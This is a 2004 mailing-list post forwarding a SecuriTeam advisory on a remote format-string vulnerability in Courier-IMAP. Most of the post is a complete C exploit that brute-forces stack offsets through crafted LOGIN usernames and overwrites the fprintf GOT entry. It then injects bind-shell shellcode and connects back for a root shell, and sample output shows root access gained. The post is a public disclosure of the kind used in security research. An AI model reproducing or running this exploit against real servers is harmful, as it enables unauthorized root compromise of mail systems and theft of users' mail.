[eside-ghost] Fw: [EXPL] Courier-IMAP Remote Format String
Vulnerability Exploit
txipi
txipi en sindominio.net
Jue Sep 2 14:53:09 CEST 2004
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Aupa!
$ apt-cache policy courier-imap
courier-imap:
Instalados: (ninguno)
Candidato: 3.0.5.20040712-1
Tabla de versión:
3.0.5.20040712-1 0
500 http://ftp.de.debian.org sid/main Packages
1.4.3-2.5 0
500 http://security.debian.org stable/updates/main Packages
Glups...
Begin forwarded message:
Date: 2 Sep 2004 12:54:22 +0200
From: SecuriTeam <support en securiteam.com>
To: list en securiteam.com
Subject: [EXPL] Courier-IMAP Remote Format String Vulnerability Exploit
The following security advisory is sent to the securiteam mailing list,
and can be found at the SecuriTeam web site: http://www.securiteam.com
- - - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - - -
Courier-IMAP Remote Format String Vulnerability Exploit
- ------------------------------------------------------------------------
SUMMARY
In a previously featured article titled
<http://www.securiteam.com/unixfocus/5VP0G2ADPC.html> Courier-IMAP
Remote
Format String Vulnerability, a bug that opens up a vessel for executing
arbitrary code was documented and described.
Provided below is a proof of concept exploit code that will in fact
exploit the vulnerability and spawn a shell on the server.
DETAILS
Vulnerable Systems:
* Courier IMAP up to version 3.0.7, NOT inclusive
Immune Systems:
* Courier IMAP version 3.0.7
Exploit:
/*
courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit
Author: ktha at hush dot com
Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2
Special thanks goes to andrewg for providing the FreeBSD box.
Greetings: all the guys from irc.pulltheplug.com and irc.netric.org
bash-2.05b$ ./sm00ny-courier_imap_fsx
courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by
ktha at hush dot com
[*] Launching attack against 127.0.0.1:143
[+] Got current ebp(5100): 0xbfbfb050
[+] Got possible saved ebp(3281): 0xbfbfe390
[+] Got possible write on the stack pointer(3293): 0xbfbfe3c0
[+] Verifying...failed
[+] Got possible saved ebp(3286): 0xbfbfe3a4
[+] Got possible write on the stack pointer(3298): 0xbfbfe3d4
[+] Verifying...failed
[+] Got possible saved ebp(3287): 0xbfbfe3a8
[+] Got possible write on the stack pointer(3299): 0xbfbfe3d8
[+] Verifying...OK
[+] Building fmt...done
[+] Building shellcode...done
[*] Using ret: 0x8057000
[*] Using got of fprintf(): 0x804fefc
[*] Checking for shell..
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
5(operator), 20(staff), 31(guest)
N.B. 1. ret can be guessed ;)
2. got, well.. that's a different story, it must be bruteforced
3. "ce_number" & "se_number" can be set with some default values
when
running multiple times
4. shell is usable for aprox 1 min
[ Need a challenge ? ]
[ Visit http://www.pulltheplug.com ]
*/
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BIGBUF 2048
#define IMAP_PORT 143
#define END_BRUTEFORCE_STACK 5500
#define TOP_STACK 0xbfc00000 /* FreeBSD */
#define START_BRUTEFORCE_SAVED_EBP 3000
#define JUNK 9
#define GAP_EBP_ESP 48
#define DUMMY_NUMBER 100
void die(int type, char *message) {
if(type == 2)
perror(message);
else
fprintf(stderr,"%s\n",message);
exit(1);
}
int connect_to (char *host, int port){
struct hostent *h;
struct sockaddr_in c;
int sock;
if ((host == NULL) || (*host == (char) 0))
die(1, "[-] Invalid hostname");
if ((c.sin_addr.s_addr = inet_addr (host)) == -1){
if ((h = gethostbyname (host)) == NULL)
die(1, "[-] Cannot resolve host");
memcpy ((char *) &c.sin_addr, (char *) h->h_addr, sizeof
(c.sin_addr));
}
if ((sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
die(2,"[-] Error creating socket:");
c.sin_family = PF_INET;
c.sin_port = htons (port);
if (connect (sock, (struct sockaddr *) &c, sizeof (c)) == -1)
die(2, "[-] Cannot connect: ");
return sock;
}
void close_socket (int sock){
shutdown (sock, 2);
close (sock);
}
char *get_request(char *username, char *password){
char *request = (char *)malloc(strlen(username)+strlen(password)+20);
sprintf(request,"1 LOGIN \"%s\" \"%s\"\r\n",username, password);
return request;
}
void send_data(int sock, char *request){
int n;
n = send (sock, request, strlen (request), 0);
if (n != strlen (request)){
close_socket (sock);
die(1, "Error sending request\n");
}
}
int get_ce_number(char *host, int port){
int sock;
int loop;
char temp[BIGBUF];
int l,n;
char username[BIGBUF];
char password[BIGBUF];
char *request;
for (loop = END_BRUTEFORCE_STACK;;loop--){
sock = connect_to(host, port);
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%d$p",loop);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
break;
}
return loop;
}
int get_se_number(int start, int end, char *host, int port){
int loop;
char username[BIGBUF];
char password[BIGBUF];
char *request;
int l,n;
char temp[BIGBUF];
int sock;
if (!start)
start = START_BRUTEFORCE_SAVED_EBP;
for (loop = start; loop < end; loop++){
sock = connect_to(host, port);
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%d$n",loop);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
break;
}
if (loop == end)
return -1;
return loop;
}
int verify_se_number(int write, unsigned long addy, int number, char
*host, int port){
char username[BIGBUF];
char password[BIGBUF];
char temp[BIGBUF];
char *request;
int n, sock;
sock = connect_to(host, port);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%uu%%%u$hn%%%u$hn", (addy & 0xffff) - JUNK,
number, write);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n <= 0)
return 0;
sock = connect_to(host, port);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%u$n%%%u$hn", number, write);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
return 0;
return 1;
}
int *get_format_vector(unsigned long got_addy, unsigned long got,
unsigned
long ret){
int i,j,sum,byte;
int *vec = (int *)malloc(11 * sizeof(int));
sum = JUNK;
for (i=0; i<2; i++){
for (j=0; j<2; j++){
vec[2*(2 * i + j)] = (got_addy & 0xffff) - sum;
while (vec[2*(2 * i + j)] <= 12)
vec[2*(2 * i + j)] += 0x10000;
sum += vec[2*(2 * i + j)];
byte = ((got + 2 * i) >> (16*j)) & 0xffff;
vec[2*(2 * i + j) + 1] = byte - sum;
while (vec[2*(2 * i + j) + 1] <= 12)
vec[2*(2 * i + j) + 1] += 0x10000;
sum += vec[2*(2 * i + j) + 1];
got_addy += 2;
}
}
for (i=0; i<2; i++){
byte = (ret >> (16*i)) & 0xffff;
vec[8+i] = byte - sum;
while (vec[8+i] <= 12)
vec[8+i] += 0x10000;
sum += vec[8+i];
}
return vec;
}
char *get_format_string(int *vec, int se_number, int write_number, int
got_number){
char *buf = (char *) malloc(BIGBUF);
char smallbuf[256];
int i;
for (i=0; i<4; i++){
sprintf(smallbuf
,"%%%uu%%%u$hn%%%uu%%%u$hn",vec[2*i],se_number,vec[2*i+1],write_number);
strcat(buf,smallbuf);
}
for (i=0; i<2; i++){
sprintf(smallbuf,"%%%uu%%%u$hn",vec[8 + i],got_number + i);
strcat(buf,smallbuf);
}
return buf;
}
char *gen_shellcode (int gap){
int size;
char *p;
char shellcode[] =
/* Thanks ilja */
"\x31\xc0\x31\xc9\x31\xd2\xb0\x61"
"\x51\xb1\x06\x51\xb1\x01\x51\xb1"
"\x02\x51\x8d\x0c\x24\x51\xcd\x80"
"\xb1\x02\x31\xc9\x51\x51\x51\x80"
"\xc1\x77\x66\x51\xb5\x02\x66\x51"
"\x8d\x0c\x24\xb2\x10\x52\x51\x50"
"\x8d\x0c\x24\x51\x89\xc2\x31\xc0"
"\xb0\x68\xcd\x80\xb3\x01\x53\x52"
"\x8d\x0c\x24\x51\x31\xc0\xb0\x6a"
"\xcd\x80\x31\xc0\x50\x50\x52\x8d"
"\x0c\x24\x51\x31\xc9\xb0\x1e\xcd"
"\x80\x89\xc3\x53\x51\x31\xc0\xb0"
"\x5a\xcd\x80\x41\x53\x51\x31\xc0"
"\xb0\x5a\xcd\x80\x41\x53\x51\x31"
"\xc0\xb0\x5a\xcd\x80\x31\xdb\x53"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x31\xc0\x50\x54"
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";
size = strlen (shellcode);
p = (char *) malloc (gap + 1);
/* Some nops ;) */
memset (p, 0x41, gap);
memcpy (p + gap - size, shellcode, size + 1);
return p;
}
void root(char *host) {
fd_set rfds;
int n;
int sock;
char buff[1024];
sock = connect_to(host,30464);
send(sock,"id;\n",4,0);
while(1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
if(select(sock+1, &rfds, NULL, NULL, NULL) < 1)
exit(0);
if(FD_ISSET(0,&rfds)) {
if( (n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if( send(sock,buff,n,0) != n)
exit(0);
}
if(FD_ISSET(sock,&rfds)) {
if( (n = recv(sock,buff,sizeof(buff),0)) < 1)
exit(0);
write(1,buff,n);
}
}
}
main (int argc, char **argv) {
char *host="127.0.0.1";
int port = IMAP_PORT;
int sock;
char *temp1, *temp2;
char *request;
int *vec;
int n,ok,i;
unsigned long cur_ebp; // was 5100 on my box
int ce_number = 0;
unsigned long saved_ebp; // was 3287 on my box
int se_number = 0;
unsigned long write_addy;
int write_number = 0;
unsigned long got_addy;
int got_number = 0;
/* objdump -R /usr/lib/courier-imap/sbin/imaplogin | grep fprintf */
unsigned long got = 0x0804fefc;
/* heh.. it's up to you to find this one :P Just use your favourite
mathod */
unsigned long ret = 0x8057000;
if (argc > 1)
host = argv[1];
printf("courier-imap <= 3.0.2-r1 Remote Format String Vulnerability
exploit by ktha at hush dot com\n");
printf("[*] Launching attack against %s:%d\n",host,port);
if (ce_number == 0)
ce_number = get_ce_number(host,port);
cur_ebp = TOP_STACK - 4 * ce_number;
got_number = DUMMY_NUMBER;
got_addy = cur_ebp + 4 * (got_number - 1);
printf("[+] Got current ebp(%d): %p\n",ce_number,cur_ebp);
do{
se_number = get_se_number(se_number,ce_number,host,port);
if (se_number == -1)
die(1,"[-] Failed to get a saved_ebp !");
saved_ebp = cur_ebp + 4 * (se_number - 1);
printf("[+] Got possible saved ebp(%d): %p\n",se_number,saved_ebp);
write_addy = GAP_EBP_ESP + saved_ebp;
write_number = (write_addy - cur_ebp) / 4 + 1;
printf("[+] Got possible write on the stack pointer(%d):
%p\n",write_number,write_addy);
printf("[+] Verifying...");
ok = verify_se_number(write_number,got_addy,se_number,host,port);
if (ok)
printf("OK\n");
else {
printf("failed\n");
se_number++;
}
}while (!ok);
printf("[+] Building fmt...");
vec = get_format_vector(got_addy,got,ret);
temp1 = get_format_string(vec,se_number,write_number,got_number);
printf("done\n");
printf("[+] Building shellcode...");
temp2 = gen_shellcode(800);
printf("done\n");
printf("[*] Using ret: %p\n",ret);
printf("[*] Using got of fprintf(): %p\n",got);
request = get_request(temp1,temp2);
sock = connect_to(host, port);
send_data(sock,request);
sleep(2);
close_socket (sock);
printf("[*] Checking for shell..\n");
root(host);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:ktha en hush.com> Andrei
Catalin.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and
body to: list-unsubscribe en securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe en securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of
any kind.
In no event shall we be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages.
- --
Agur
txipi
wget -O - http://sindominio.net/~txipi/txipi.gpg.asc | gpg --import
Key fingerprint = CCAF 9676 B049 997A 96D6 4D7C 3529 5545 4375 1BF4
Marriage is the process of finding out what kind of man your wife would
have preferred.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)
iD8DBQFBNxe1NSlVRUN1G/QRArGxAKCLXqkv22MDmlzvhTBOnImp85XlgQCdEi6O
T6v1G9kVJ/DNmoI0tDuBOp8=
=BNfu
-----END PGP SIGNATURE-----
Más información sobre la lista de distribución eside-ghost